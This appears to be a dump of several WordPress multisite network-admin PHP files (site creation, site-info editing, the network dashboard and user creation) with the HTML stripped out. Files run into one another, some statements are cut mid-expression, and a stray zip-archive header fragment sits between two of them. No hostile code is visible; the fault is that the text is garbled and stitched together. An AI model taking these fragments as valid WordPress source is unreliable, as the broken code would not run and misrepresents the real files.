$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
if ( $language ) {
$meta['WPLANG'] = $language;
}
}
}
if ( empty( $title ) ) {
wp_die( __( 'Missing site title.' ) );
}
if ( empty( $domain ) ) {
wp_die( __( 'Missing or invalid site address.' ) );
}
if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
wp_die( __( 'Missing email address.' ) );
}
$email = sanitize_email( $blog['email'] );
if ( ! is_email( $email ) ) {
wp_die( __( 'Invalid email address.' ) );
}
if ( is_subdomain_install() ) {
$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
$path = get_network()->path;
} else {
$newdomain = get_network()->domain;
$path = get_network()->path . $domain . '/';
}
$password = 'N/A';
$user_id = email_exists( $email );
if ( ! $user_id ) { // Create a new user with a random password.
/**
* Fires immediately before a new user is created via the network site-new.php page.
*
* @since 4.5.0
*
* @param string $email Email of the non-existent user.
*/
do_action( 'pre_network_site_new_created_user', $email );
$user_id = username_exists( $domain );
if ( $user_id ) {
wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
}
$password = wp_generate_password( 12, false );
$user_id = wpmu_create_user( $domain, $password, $email );
if ( false === $user_id ) {
wp_die( __( 'There was an error creating the user.' ) );
}
/**
* Fires after a new user has been created via the network site-new.php page.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly created user.
*/
do_action( 'network_site_new_created_user', $user_id );
}
$wpdb->hide_errors();
$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
$wpdb->show_errors();
if ( ! is_wp_error( $id ) ) {
if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
update_user_option( $user_id, 'primary_blog', $id, true );
}
wpmu_new_site_admin_notification( $id, $user_id );
wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
wp_redirect(
add_query_arg(
array(
'update' => 'added',
'id' => $id,
),
'site-new.php'
)
);
exit;
} else {
wp_die( $id->get_error_message() );
}
}
if ( isset( $_GET['update'] ) ) {
$messages = array();
if ( 'added' === $_GET['update'] ) {
$messages[] = sprintf(
/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
__( 'Site added. Visit Dashboard or Edit Site ' ),
esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
);
}
}
// Used in the HTML title tag.
$title = __( 'Add Site' );
$parent_file = 'sites.php';
wp_enqueue_script( 'user-suggest' );
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
'success',
'dismissible' => true,
'id' => 'message',
);
foreach ( $messages as $msg ) {
wp_admin_notice( $msg, $notice_args );
}
}
?>
' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '';
$overview .= '' . __( 'From here you can:' ) . '
';
$overview .= '' . __( 'Add and manage sites or users' ) . ' ';
$overview .= '' . __( 'Install and activate themes or plugins' ) . ' ';
$overview .= '' . __( 'Update your network' ) . ' ';
$overview .= '' . __( 'Modify global network settings' ) . ' ';
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => $overview,
)
);
$quick_tasks = '' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '
';
$quick_tasks .= '' . __( 'To add a new user, click Create a New User .' ) . ' ';
$quick_tasks .= '' . __( 'To add a new site, click Create a New Site .' ) . ' ';
$quick_tasks .= '' . __( 'To search for a user or site, use the search boxes.' ) . '
';
$quick_tasks .= '' . __( 'To search for a user, enter an email address or username . Use a wildcard to search for a partial username, such as user*.' ) . ' ';
$quick_tasks .= '' . __( 'To search for a site, enter the path or domain .' ) . ' ';
get_current_screen()->add_help_tab(
array(
'id' => 'quick-tasks',
'title' => __( 'Quick Tasks' ),
'content' => $quick_tasks,
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on the Network Admin ' ) . '
' .
'' . __( 'Support forums ' ) . '
'
);
wp_dashboard_setup();
wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site = is_main_site( $id );
if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
check_admin_referer( 'edit-site' );
switch_to_blog( $id );
// Rewrite rules can't be flushed during switch to blog.
delete_option( 'rewrite_rules' );
$blog_data = wp_unslash( $_POST['blog'] );
$blog_data['scheme'] = $parsed_scheme;
if ( $is_main_site ) {
// On the network's main site, don't allow the domain or path to change.
$blog_data['domain'] = $details->domain;
$blog_data['path'] = $details->path;
} else {
// For any other site, the scheme, domain, and path can all be changed. We first
// need to ensure a scheme has been provided, otherwise fallback to the existing.
$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );
if ( ! $new_url_scheme ) {
$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
}
$update_parsed_url = parse_url( $blog_data['url'] );
// If a path is not provided, use the default of `/`.
if ( ! isset( $update_parsed_url['path'] ) ) {
$update_parsed_url['path'] = '/';
}
$blog_data['scheme'] = $update_parsed_url['scheme'];
// Make sure to not lose the port if it was provided.
$blog_data['domain'] = $update_parsed_url['host'];
if ( isset( $update_parsed_url['port'] ) ) {
$blog_data['domain'] .= ':' . $update_parsed_url['port'];
}
$blog_data['path'] = $update_parsed_url['path'];
}
$existing_details = get_site( $id );
$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );
foreach ( $blog_data_checkboxes as $c ) {
if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
$blog_data[ $c ] = $existing_details->$c;
} else {
$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
}
}
update_blog_details( $id, $blog_data );
// Maybe update home and siteurl options.
$new_details = get_site( $id );
$old_home_url = trailingslashit( esc_url( get_option( 'home' ) ) );
$old_home_parsed = parse_url( $old_home_url );
$old_home_host = $old_home_parsed['host'] . ( isset( $old_home_parsed['port'] ) ? ':' . $old_home_parsed['port'] : '' );
if ( $old_home_host === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
$new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
update_option( 'home', $new_home_url );
}
$old_site_url = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
$old_site_parsed = parse_url( $old_site_url );
$old_site_host = $old_site_parsed['host'] . ( isset( $old_site_parsed['port'] ) ? ':' . $old_site_parsed['port'] : '' );
if ( $old_site_host === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
$new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
update_option( 'siteurl', $new_site_url );
}
restore_current_blog();
wp_redirect(
add_query_arg(
array(
'update' => 'updated',
'id' => $id,
),
'site-info.php'
)
);
exit;
}
if ( isset( $_GET['update'] ) ) {
$messages = array();
if ( 'updated' === $_GET['update'] ) {
$messages[] = __( 'Site info updated.' );
}
}
// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
|
$id,
'selected' => 'site-info',
)
);
if ( ! empty( $messages ) ) {
$notice_args = array(
'type' => 'success',
'dismissible' => true,
'id' => 'message',
);
foreach ( $messages as $msg ) {
wp_admin_notice( $msg, $notice_args );
}
}
?>
domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );
/**
* Filters whether to redirect the request to the Network Admin.
*
* @since 3.2.0
*
* @param bool $redirect_network_admin_request Whether the request should be redirected.
*/
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
wp_redirect( network_admin_url() );
exit;
}
unset( $redirect_network_admin_request );
PK *Y\w,
user-edit.phpnu [ add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '
' .
'' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Network Users ' ) . '
' .
'' . __( 'Support forums ' ) . '
'
);
if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) {
check_admin_referer( 'add-user', '_wpnonce_add-user' );
if ( ! current_user_can( 'manage_network_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
if ( ! is_array( $_POST['user'] ) ) {
wp_die( __( 'Cannot create an empty user.' ) );
}
$user = wp_unslash( $_POST['user'] );
$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );
if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
$add_user_errors = $user_details['errors'];
} else {
$password = wp_generate_password( 12, false );
$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );
if ( ! $user_id ) {
$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
} else {
/**
* Fires after a new user has been created via the network user-new.php page.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly created user.
*/
do_action( 'network_user_new_created_user', $user_id );
wp_redirect(
add_query_arg(
array(
'update' => 'added',
'user_id' => $user_id,
),
'user-new.php'
)
);
exit;
}
}
}
$message = '';
if ( isset( $_GET['update'] ) ) {
if ( 'added' === $_GET['update'] ) {
$edit_link = '';
if ( isset( $_GET['user_id'] ) ) {
$user_id_new = absint( $_GET['user_id'] );
if ( $user_id_new ) {
$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
}
}
$message = __( 'User added.' );
if ( $edit_link ) {
$message .= sprintf( ' %s ', $edit_link, __( 'Edit user' ) );
}
}
}
// Used in the HTML title tag.
$title = __( 'Add User' );
$parent_file = 'users.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
'success',
'dismissible' => true,
'id' => 'message',
)
);
}
if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) {
$error_messages = '';
foreach ( $add_user_errors->get_error_messages() as $error ) {
$error_messages .= "
$error
";
}
wp_admin_notice(
$error_messages,
array(
'type' => 'error',
'dismissible' => true,
'id' => 'message',
'paragraph_wrap' => false,
)
);
}
?>